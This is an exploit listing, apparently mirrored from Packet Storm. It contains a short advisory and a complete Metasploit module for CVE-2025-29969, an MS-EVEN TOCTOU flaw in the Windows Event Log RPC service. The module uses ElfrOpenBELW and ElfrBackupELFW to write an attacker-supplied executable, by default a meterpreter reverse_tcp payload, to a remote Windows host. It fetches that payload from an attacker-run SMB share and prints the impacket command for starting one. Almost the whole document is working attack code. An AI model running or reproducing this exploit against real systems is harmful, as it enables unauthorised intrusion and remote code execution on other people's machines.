Share
## https://sploitus.com/exploit?id=PACKETSTORM:216190
=============================================================================================================================================
    | # Title     : MS‑EVEN TOCTOU Remote Arbitrary File Write via ElfrBackupELFW Vulnerability                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : No standalone download available                                                                                            |
    =============================================================================================================================================
    
    [+] Summary    :  A Time-of-Check Time-of-Use (TOCTOU) vulnerability exists in the Microsoft Event Log Remote Protocol (MS‑EVEN).
                      By abusing the ElfrBackupELFW RPC function, an authenticated low-privileged user can coerce the Windows Event Log service into writing arbitrary files to a chosen location on the target system.
                      The issue stems from improper validation and usage timing between path verification and file creation operations. 
    				  By leveraging a crafted remote SMB path and a controlled file sequence, an attacker can cause the service to write attacker‑controlled content to a local file path.
    
    [+] Successful exploitation may result in:
    
    Arbitrary file write on the remote Windows system
    
    Potential privilege escalation (depending on target path)
    
    Persistence or execution of attacker‑controlled binaries
    
    [+] The vulnerability affects systems where the MS‑EVEN service is accessible over SMB named pipes and where valid authentication credentials are available.
    
    [+] POC   : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::SMB::Client
      include Msf::Exploit::Remote::DCERPC
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
    
      MS_EVEN_UUID = '82273fdc-e32a-18c3-3f78-827929dc23ea'
      
      VERSIONS_TO_TRY = [
        [1, 0],
        [0, 0]
      ]
    
      ELFR_OPEN_BEL_W = 0
      ELFR_BACKUP_ELFW = 1
      STATUS_SEVERITY_SUCCESS = 0x0
      STATUS_SEVERITY_INFORMATIONAL = 0x1
      STATUS_SEVERITY_WARNING = 0x2
      STATUS_SEVERITY_ERROR = 0x3
      STATUS_SUCCESS = 0x00000000
      STATUS_BUFFER_OVERFLOW = 0x80000005
      STATUS_NO_MORE_ENTRIES = 0x8000001A
      STATUS_INVALID_HANDLE = 0xC0000008
      STATUS_INVALID_PARAMETER = 0xC000000D
      STATUS_ACCESS_DENIED = 0xC0000022
      STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034
      STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A
      STATUS_BAD_NETWORK_PATH = 0xC00000BE
    
      NDR = Rex::Encoder::NDR
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MS-EVEN TOCTOU Vulnerability (CVE-2025-29969) Remote File Write',
            'Description' => %q{
              This module exploits a Time-of-Check Time-of-Use (TOCTOU) vulnerability in the
              MS-EVEN protocol (Windows Event Log service). A low-privileged authenticated user
              can write arbitrary files to a remote Windows machine by abusing the
              ElfrBackupELFW RPC function.
    
              This module strictly follows the MS-EVEN protocol specification and uses proper
              NDR pointer graph representation as defined in the official IDL.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2025-29969'],
              ['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/'],
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29969']
            ],
            'DisclosureDate' => '2025-05-13',
            'Platform' => ['win'],
            'Targets' => [
              [
                'Windows Automatic', {
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'DefaultOptions' => {
                    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DefaultOptions' => {
              'WfsDelay' => 30,
              'DCERPC::fake_bind_multi' => true,
              'SMB::ProtocolVersion' => 3
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [
                IOC_IN_LOGS,
                ARTIFACTS_ON_DISK,
                SCREEN_EFFECTS
              ]
            }
          )
        )
    
        register_options([
          Opt::RHOST,
          Opt::RPORT(445),
          OptString.new('SMBHOST', [true, 'The IP of the attacker SMB server', nil]),
          OptString.new('SMBUSER', [true, 'The username to authenticate as', nil]),
          OptString.new('SMBPASS', [true, 'The password for the specified username', nil]),
          OptString.new('SMBDOMAIN', [false, 'The Windows domain to authenticate to', '.']),
          OptString.new('VALID_EVTX', [true, 'Local path to a valid EVTX file', nil]),
          OptString.new('REMOTE_PATH', [true, 'Remote path to write the payload', 'C:\\Users\\Public\\payload.exe']),
          OptString.new('SHARE_NAME', [true, 'Name of the SMB share', 'Share']),
          OptString.new('NAMED_PIPE', [true, 'Named pipe for EventLog service', 'eventlog'])
        ])
    
        register_advanced_options([
          OptBool.new('SMB3_SUPPORT', [true, 'Enable SMB3 support', true]),
          OptInt.new('BIND_RETRIES', [true, 'Number of bind retries', 3]),
          OptBool.new('VERIFY_WITH_SMB', [true, 'Verify file write using SMB', true]),
          OptString.new('VERIFY_SHARE', [true, 'SMB share for verification', 'C$']),
          OptInt.new('SMB_SHARE_WAIT', [true, 'Seconds to wait for SMB share', 30]),
          OptBool.new('STRICT_NTSTATUS', [true, 'Strict NTSTATUS parsing', true])
        ])
      end
    
      # ==================== NDR Helpers  ====================
    
      # NDR pointer graph representation:
      # typedef struct _RPC_UNICODE_STRING {
      #   unsigned short Length;
      #   unsigned short MaximumLength;
      #   [size_is(MaximumLength/2), length_is(Length/2)] WCHAR* Buffer;
      # } RPC_UNICODE_STRING;
      #
      # In NDR, the representation is:
      # - pointer to struct (referent_id1)
      # - struct containing:
      #   - Length
      #   - MaximumLength
      #   - pointer to buffer (referent_id2)
      # - buffer data (conformant array)
      def pack_rpc_unicode_string(str)
        utf16_str = "#{str}\x00".encode('UTF-16LE')
        
        length = utf16_str.bytesize - 2
        max_length = utf16_str.bytesize
    
        length = (length + 1) & ~1 if length.odd?
        max_length = (max_length + 1) & ~1 if max_length.odd?
        @struct_pointer_id ||= 0x20000
        @buffer_pointer_id ||= 0x30000
        
        struct_pointer = @struct_pointer_id
        buffer_pointer = @buffer_pointer_id
        @struct_pointer_id += 0x1000
        @buffer_pointer_id += 0x1000
        outer_pointer = NDR.long(struct_pointer)
        structure = NDR.short(length) + 
                    NDR.short(max_length) + 
                    NDR.long(buffer_pointer)  # pointer to buffer
    
        buffer_data = NDR.UnicodeConformantVaryingStringPreBuilt(utf16_str)
    
        outer_pointer + structure + buffer_data
      end
    
      def parse_context_handle(data)
        return nil if data.nil? || data.length != 20
    
        context_handle = {
          raw: data,
          attributes: data[0, 4].unpack('V')[0],
          uuid_data: data[4, 16]
        }
    
        return nil if context_handle[:uuid_data].bytes.all?(&:zero?)
        
        context_handle
      end
    
      def ntstatus_severity(status)
        (status >> 30) & 0x3
      end
    
      def ntstatus_is_success?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_SUCCESS
      end
    
      def ntstatus_is_informational?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_INFORMATIONAL
      end
    
      def ntstatus_is_warning?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_WARNING
      end
    
      def ntstatus_is_error?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_ERROR
      end
    
      def ntstatus_to_s(status)
        case status
        when STATUS_SUCCESS
          "STATUS_SUCCESS"
        when STATUS_BUFFER_OVERFLOW
          "STATUS_BUFFER_OVERFLOW"
        when STATUS_NO_MORE_ENTRIES
          "STATUS_NO_MORE_ENTRIES"
        when STATUS_INVALID_HANDLE
          "STATUS_INVALID_HANDLE"
        when STATUS_INVALID_PARAMETER
          "STATUS_INVALID_PARAMETER"
        when STATUS_ACCESS_DENIED
          "STATUS_ACCESS_DENIED"
        when STATUS_OBJECT_NAME_NOT_FOUND
          "STATUS_OBJECT_NAME_NOT_FOUND"
        when STATUS_OBJECT_PATH_NOT_FOUND
          "STATUS_OBJECT_PATH_NOT_FOUND"
        when STATUS_BAD_NETWORK_PATH
          "STATUS_BAD_NETWORK_PATH"
        else
          "0x#{status.to_s(16)}"
        end
      end
    
      def parse_open_response(stub_data)
        result = { status: nil, handle: nil, error: nil }
        
        return result if stub_data.nil? || stub_data.empty?
        if stub_data.length < 24
          result[:error] = "Response too short: #{stub_data.length} bytes"
          return result
        end
    
        result[:status] = stub_data[0, 4].unpack('V')[0]
        handle_data = stub_data[4, 20]
        result[:handle] = parse_context_handle(handle_data)
        if stub_data.length > 24
          vprint_warning("Open response has #{stub_data.length - 24} extra bytes")
        end
        
        result
      end
    
      def parse_backup_response(stub_data)
        result = { status: nil, error: nil }
    
        if stub_data.nil? || stub_data.empty?
          result[:error] = "Empty response"
          return result
        end
    
        if stub_data.length < 4
          result[:error] = "Response too short: #{stub_data.length} bytes"
          return result
        end
    
        result[:status] = stub_data[0, 4].unpack('V')[0]
        if stub_data.length > 4
          vprint_warning("Backup response has #{stub_data.length - 4} extra bytes")
        end
        
        result
      end
    
      def prepare_files(valid_evtx_path, payload_data)
        base_name = File.basename(valid_evtx_path, '.evtx')
        timestamp = Time.now.to_i
    
        work_dir = File.join(File.dirname(valid_evtx_path), "exploit_#{timestamp}")
        Dir.mkdir(work_dir) unless Dir.exist?(work_dir)
        evtx_file = File.join(work_dir, "#{base_name}.evtx")
        FileUtils.cp(valid_evtx_path, evtx_file)
        payload_file = File.join(work_dir, 'payload.exe')
        File.binwrite(payload_file, payload_data)
        malicious_evtx = File.join(work_dir, "#{base_name}.malicious.evtx")
        
        File.open(malicious_evtx, 'wb') do |f|
          f.write(payload_data)
          f.write("\x00")
          f.write(File.binread(evtx_file))
        end
        
        {
          work_dir: work_dir,
          evtx: evtx_file,
          payload: payload_file,
          malicious_evtx: malicious_evtx
        }
      end
    
      def verify_file_with_smb(remote_path, timeout = 10)
        return true unless datastore['VERIFY_WITH_SMB']
        
        begin
    
          unless remote_path =~ /^([A-Z]):\\(.*)/
            print_warning("Cannot parse remote path: #{remote_path}")
            return false
          end
          
          drive = $1
          rel_path = $2.gsub('\\', '/')
          share_name = "#{drive}#{datastore['VERIFY_SHARE'][1..-1] || '$'}"
          
          vprint_status("Verifying: \\\\#{datastore['RHOST']}\\#{share_name}\\#{rel_path}")
    
          smb = Rex::Proto::SMB::SimpleClient.new(
            datastore['RHOST'],
            datastore['RPORT'] == 445 ? true : false
          )
          
          begin
            smb.login(
              datastore['SMBDOMAIN'] || '',
              datastore['SMBUSER'],
              datastore['SMBPASS']
            )
    
            tree = smb.tree_connect("\\\\#{datastore['RHOST']}\\#{share_name}")
    
            begin
              Timeout.timeout(timeout) do
                fid = tree.open(rel_path, 0x10000)  # GENERIC_READ
                if fid
                  tree.close(fid)
                  print_good("File verified: #{remote_path}")
                  return true
                end
              end
            rescue Timeout::Error
              vprint_error("Timeout opening file")
            rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
              if e.to_s.include?("STATUS_OBJECT_NAME_NOT_FOUND")
                vprint_status("File not found")
              else
                vprint_error("SMB error: #{e}")
              end
            end
            
            tree.disconnect
          ensure
            smb.disconnect
          end
          
        rescue => e
          vprint_error("Verification error: #{e}")
        end
        
        false
      end
    
      def check
        begin
          smb_versions = []
          smb_versions << 3 if datastore['SMB3_SUPPORT']
          smb_versions << 2 << 1
          
          connect(versions: smb_versions.compact)
          smb_login
          disconnect
    
          VERSIONS_TO_TRY.each do |major, minor|
            begin
              handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', 
                                     ["\\pipe\\#{datastore['NAMED_PIPE']}"])
              dcerpc_bind(handle)
              dcerpc_disconnect
              return CheckCode::Appears("Successfully bound with version #{major}.#{minor}")
            rescue => e
              next
            end
          end
    
          return CheckCode::Detected('Valid credentials but RPC bind failed')
          
        rescue Rex::Proto::SMB::Exceptions::LoginError
          return CheckCode::Detected('Authentication failed')
        rescue => e
          return CheckCode::Safe("Connection failed: #{e}")
        ensure
          dcerpc_disconnect rescue nil
          disconnect rescue nil
        end
      end
    
      def exploit
        validate_options!
    
        print_status('Generating payload executable')
        payload_exe = generate_payload_exe
    
        print_status('Preparing exploit files')
        files = prepare_files(datastore['VALID_EVTX'], payload_exe)
    
        print_status("Files prepared in: #{files[:work_dir]}")
        print_status("  Original EVTX: #{File.basename(files[:evtx])}")
        print_status("  Payload: #{File.basename(files[:payload])}")
        print_status("  Malicious EVTX: #{File.basename(files[:malicious_evtx])}")
        print_status("SMB share required on #{datastore['SMBHOST']}:")
        print_status("  Share name: #{datastore['SHARE_NAME']}")
        print_status("  Directory: #{files[:work_dir]}")
        print_status("  File to use: #{File.basename(files[:malicious_evtx])}")
        print_status("")
        print_status("Command to run:")
        print_status("  impacket-smbserver -smb2support #{datastore['SHARE_NAME']} #{files[:work_dir]}")
        print_status("")
    
        wait_time = datastore['SMB_SHARE_WAIT']
        if wait_time > 0
          print_status("Waiting #{wait_time} seconds for SMB share...")
          wait_time.times do |i|
            if i % 10 == 0
              print_status("  #{wait_time - i} seconds remaining...")
            end
            sleep(1)
          end
        end
    
        max_attempts = 3
        max_attempts.times do |attempt|
          print_status("Exploit attempt #{attempt + 1}/#{max_attempts}")
    
          @struct_pointer_id = 0x20000 + (attempt * 0x10000)
          @buffer_pointer_id = 0x30000 + (attempt * 0x10000)
          
          begin
            result = perform_exploit(files[:malicious_evtx])
            
            case result[:status]
            when :success
              print_good("Exploit succeeded on attempt #{attempt + 1}: #{result[:message]}")
    
              if verify_file_with_smb(datastore['REMOTE_PATH'])
                print_good("File write verified")
              end
    
              register_file_for_cleanup(datastore['REMOTE_PATH'])
              
              return
              
            when :partial
              print_warning("Partial success: #{result[:message]}")
              print_warning("Check manually: #{datastore['REMOTE_PATH']}")
              
              if verify_file_with_smb(datastore['REMOTE_PATH'])
                print_good("File verified despite warning!")
                return
              end
              
            else
              print_error("Attempt #{attempt + 1} failed: #{result[:message]}")
            end
            
          rescue => e
            print_error("Attempt #{attempt + 1} error: #{e}")
            vprint_error("Backtrace: #{e.backtrace.first(3).join("\n")}")
          ensure
            dcerpc_disconnect rescue nil
            disconnect rescue nil
            sleep(3) if attempt < max_attempts - 1
          end
        end
    
        fail_with(Failure::Unknown, "All #{max_attempts} exploit attempts failed")
      end
    
      def validate_options!
        required = ['RHOST', 'SMBHOST', 'SMBUSER', 'SMBPASS', 'VALID_EVTX', 'REMOTE_PATH']
        required.each do |opt|
          if datastore[opt].nil? || datastore[opt].empty?
            fail_with(Failure::BadConfig, "#{opt} must be set")
          end
        end
    
        unless File.exist?(datastore['VALID_EVTX'])
          fail_with(Failure::BadConfig, "EVTX file not found: #{datastore['VALID_EVTX']}")
        end
      end
    
      def perform_exploit(malicious_evtx_path)
        result = { status: :failed, message: nil }
        
        evtx_filename = File.basename(malicious_evtx_path)
        share_path = "\\\\#{datastore['SMBHOST']}\\#{datastore['SHARE_NAME']}\\#{evtx_filename}"
        remote_path = datastore['REMOTE_PATH']
    
        print_status("SMB share path: #{share_path}")
        print_status("Target remote path: #{remote_path}")
    
        smb_versions = []
        smb_versions << 3 if datastore['SMB3_SUPPORT']
        smb_versions << 2 << 1
        
        begin
          connect(versions: smb_versions.compact)
          smb_login
        rescue => e
          result[:message] = "SMB connection failed: #{e}"
          return result
        end
    
        bound = false
        
        VERSIONS_TO_TRY.each do |major, minor|
          datastore['BIND_RETRIES'].times do |attempt|
            begin
              handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', 
                                     ["\\pipe\\#{datastore['NAMED_PIPE']}"])
              dcerpc_bind(handle)
              bound = true
              vprint_good("Bound with version #{major}.#{minor}")
              break
            rescue => e
              vprint_status("Bind attempt #{attempt + 1} failed: #{e}")
              sleep(1)
            end
          end
          break if bound
        end
    
        unless bound
          result[:message] = 'Failed to bind to MS-EVEN interface'
          return result
        end
    
        print_status("Calling ElfrOpenBELW...")
        
        unicode_share = pack_rpc_unicode_string(share_path)
        
        open_stub = unicode_share + 
                    NDR.long(0x00000001) +  # ELOG_READ
                    NDR.long(0xC0000000)     # GENERIC_READ | GENERIC_WRITE
        
        begin
          open_response_raw = dcerpc_call(ELFR_OPEN_BEL_W, open_stub)
          open_result = parse_open_response(open_response_raw)
        rescue => e
          result[:message] = "ElfrOpenBELW failed: #{e}"
          return result
        end
        if open_result[:error]
          result[:message] = "ElfrOpenBELW parse error: #{open_result[:error]}"
          return result
        end
        
        if open_result[:status].nil?
          result[:message] = "ElfrOpenBELW returned no status"
          return result
        end
        
        unless ntstatus_is_success?(open_result[:status])
          result[:message] = "ElfrOpenBELW failed: #{ntstatus_to_s(open_result[:status])}"
          return result
        end
        
        if open_result[:handle].nil?
          result[:message] = "ElfrOpenBELW returned no handle"
          return result
        end
        
        print_good("ElfrOpenBELW succeeded")
        print_status("Calling ElfrBackupELFW...")
        
        unicode_remote = pack_rpc_unicode_string(remote_path)
        backup_stub = open_result[:handle][:raw] + unicode_remote
        
        begin
          backup_response_raw = dcerpc_call(ELFR_BACKUP_ELFW, backup_stub)
          backup_result = parse_backup_response(backup_response_raw)
          
        rescue Rex::Proto::DCERPC::Exceptions::Fault => e
    
          if e.fault == 0x6d6f6c63  # "clom" signature
            result[:status] = :partial
            result[:message] = "RPC fault 0x6d6f6c63 - possible TOCTOU success"
          else
            result[:message] = "ElfrBackupELFW RPC fault: 0x#{e.fault.to_s(16)}"
          end
          return result
          
        rescue => e
          result[:message] = "ElfrBackupELFW failed: #{e}"
          return result
        end
    
        if backup_result[:error]
    
          if datastore['STRICT_NTSTATUS']
            result[:message] = "ElfrBackupELFW parse error: #{backup_result[:error]}"
            return result
          else
            result[:status] = :partial
            result[:message] = "ElfrBackupELFW completed with parse error - possible success"
            return result
          end
        end
        
        if backup_result[:status].nil?
    
          result[:status] = :partial
          result[:message] = "ElfrBackupELFW returned no status"
          return result
        end
    
        if ntstatus_is_success?(backup_result[:status])
          result[:status] = :success
          result[:message] = ntstatus_to_s(backup_result[:status])
          
        elsif ntstatus_is_informational?(backup_result[:status])
          result[:status] = :success
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} (informational)"
          
        elsif ntstatus_is_warning?(backup_result[:status])
          result[:status] = :partial
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} (warning)"
          
        elsif backup_result[:status] == STATUS_INVALID_HANDLE
          result[:status] = :partial
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} - possible TOCTOU success"
          
        else
          result[:message] = "ElfrBackupELFW failed: #{ntstatus_to_s(backup_result[:status])}"
        end
        
        result
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================